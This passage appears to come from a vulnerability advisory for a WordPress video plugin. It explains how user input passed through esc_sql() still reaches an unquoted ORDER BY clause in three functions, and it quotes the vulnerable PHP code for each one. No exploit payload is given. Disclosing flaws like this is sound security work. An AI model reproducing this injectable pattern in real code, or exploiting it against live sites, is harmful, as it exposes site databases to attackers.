The vulnerabilities exist in the functions show_tag(), spider_video_select_playlist(), and spider_video_select_video(). The author tried to prevent SQL injection by calling the esc_sql() WordPress function. However, the user input is used in the ORDER BY clause and is consequently not quoted. Due to this it is possible to inject arbitrary SQL statements despite the use of esc_sql()
show_tag():
[...]
if (isset($_POST['page_number'])) {
if ($_POST['asc_or_desc']) {
$sort["sortid_by"] = esc_sql(esc_html(stripslashes($_POST['order_by'])));
if ($_POST['asc_or_desc'] == 1) {
$sort["custom_style"] = "manage-column column-title sorted asc";
$sort["1_or_2"] = "2";
$order = "ORDER BY " . $sort["sortid_by"] . " ASC";
} else {
$sort["custom_style"] = "manage-column column-title sorted desc";
$sort["1_or_2"] = "1";
$order = "ORDER BY " . $sort["sortid_by"] . " DESC";
}
}
spider_video_select_playlist():
[...]
if(isset($_POST['page_number']))
{
if($_POST['asc_or_desc'])
{
$sort["sortid_by"]=esc_sql(esc_html(stripslashes($_POST['order_by'])));
if($_POST['asc_or_desc']==1)
{
$sort["custom_style"]="manage-column column-title sorted asc";
$sort["1_or_2"]="2";
$order="ORDER BY ".$sort["sortid_by"]." ASC";
}
else
{
$sort["custom_style"]="manage-column column-title sorted desc";
$sort["1_or_2"]="1";
$order="ORDER BY ".$sort["sortid_by"]." DESC";
}
}
function spider_video_select_video():
[...]
if(isset($_POST['page_number']))
{
if($_POST['asc_or_desc'])
{
$sort["sortid_by"]=esc_html(stripslashes($_POST['order_by']));
if($_POST['asc_or_desc']==1)
{
$sort["custom_style"]="manage-column column-title sorted asc";
$sort["1_or_2"]="2";
$order="ORDER BY ".esc_sql($sort["sortid_by"])." ASC";
}
else
{
$sort["custom_style"]="manage-column column-title sorted desc";
$sort["1_or_2"]="1";
$order="ORDER BY ".esc_sql($sort["sortid_by"])." DESC";
}
}
